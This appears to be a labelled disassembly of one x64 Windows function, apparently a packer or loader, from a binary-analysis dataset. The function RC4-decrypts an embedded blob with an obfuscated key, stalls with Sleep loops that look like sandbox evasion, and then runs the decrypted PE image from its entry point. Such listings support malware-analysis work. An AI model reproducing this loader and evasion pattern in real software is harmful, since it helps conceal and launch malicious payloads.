Function at 0x140001540
Capabilities:
Accept command line arguments
Encrypt data using rc4 ksa
Terminate process

Disassembly:
push rdi
sub rsp, 0x120
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x14000182c
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
mov r8, rax
mov rcx, rdi
call fcn.1400046c8
test eax, eax
jne 0x140001580
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x917f0
mov qword [rsp + 0x138], rbp
mov qword [rsp + 0x110], r13
call fcn.140002354
mov dword [rsp + 0x20], 0xc00
mov edi, dword [rsp + 0x20]
mov r13, rax
lea eax, [rdi - 0x53a057c9]
mov ecx, edi
and ecx, 7
imul edi, edi, 0x23eabf79
imul eax, eax, 0x53a057cb
xor eax, 0x53b8ce27
mov edx, eax
shl eax, 3
shr edx, cl
lea rcx, [rsp + 0x21]
or edx, eax
add edx, edi
xor edx, 0x90ea850
mov byte [rsp + 0x20], dl
xor edx, edx
lea r8d, [rdx + 0x7f]
call fcn.140145c20
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rbp, rax
test rax, rax
jne 0x140001607
lea eax, [rbp + 1]
jmp 0x14000177b
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x118], r12
movaps xmmword [rsp + 0x100], xmm6
xorps xmm6, xmm6
movaps xmmword [rsp + 0xf0], xmm7
movss xmm7, dword [0x1401c2de8]
movaps xmmword [rsp + 0xe0], xmm8
movss xmm8, dword [0x1401c2de4]
nop dword [rax]
mov ecx, 0x3e8
addss xmm6, xmm7
call qword [sym.imp.KERNEL32.dll_Sleep]
comiss xmm8, xmm6
ja 0x140001650
lea rdx, section._RDATA
mov r8d, 0x917f0
mov rcx, r13
call fcn.140146300
mov ecx, 0x408
call fcn.140002310
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
mov r11, rax
xor eax, eax
repne scasb al, byte [rdi]
xor ebx, ebx
lea rax, [r11 + 8]
not rcx
mov qword [r11], rbx
mov edx, ebx
lea r12, [rcx - 1]
nop word [rax + rax]
mov dword [rax], edx
inc edx
add rax, 4
cmp edx, 0x100
jl 0x1400016b0
mov r8d, ebx
mov esi, ebx
mov r9, rbx
nop dword [rax + rax]
mov edi, dword [r11 + r9*4 + 8]
mov eax, r8d
inc r8d
cdq
idiv r12d
mov eax, esi
movsxd rcx, edx
cdq
idiv r12d
movzx eax, byte [rsp + rcx + 0x20]
add al, dl
add al, sil
add al, dil
cmp r8d, r12d
movzx esi, al
cmovge r8d, ebx
inc r9
mov eax, dword [r11 + rsi*4 + 8]
mov dword [r11 + r9*4 + 4], eax
mov dword [r11 + rsi*4 + 8], edi
cmp r9, 0x100
jl 0x1400016d0
mov rdx, r13
mov rcx, r11
call fcn.1400010f0
xor edx, edx
mov r8d, 0x600000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, qword [rsp + 0x118]
mov rsi, rax
test rax, rax
jne 0x140001794
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [rsi + 1]
movaps xmm7, xmmword [rsp + 0xf0]
movaps xmm6, xmmword [rsp + 0x100]
mov rbx, qword [rsp + 0x130]
mov rsi, qword [rsp + 0x140]
movaps xmm8, xmmword [rsp + 0xe0]
mov rbp, qword [rsp + 0x138]
mov r13, qword [rsp + 0x110]
add rsp, 0x120
pop rdi
ret
call fcn.1401442a4
and eax, 0x80000001
jge 0x1400017a7
dec eax
or eax, 0xfffffffe
inc eax
mov byte [rbx + rsi], al
inc rbx
cmp rbx, 0x600000
jl 0x140001794
movss xmm8, dword [0x1401c2de0]
comiss xmm8, xmm6
jbe 0x1400017e5
nop word [rax + rax]
mov ecx, 0x3e8
addss xmm6, xmm7
call qword [sym.imp.KERNEL32.dll_Sleep]
comiss xmm8, xmm6
ja 0x1400017d0
lea rcx, [r13 + 0x3a980]
call fcn.140001350
mov rcx, rax
mov rbx, rax
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
mov rdx, rdi
call fcn.140001440
mov edx, dword [rdi + 0x28]
add rdx, rbx
call rdx
mov r8, rsi
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
jmp 0x140001752
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]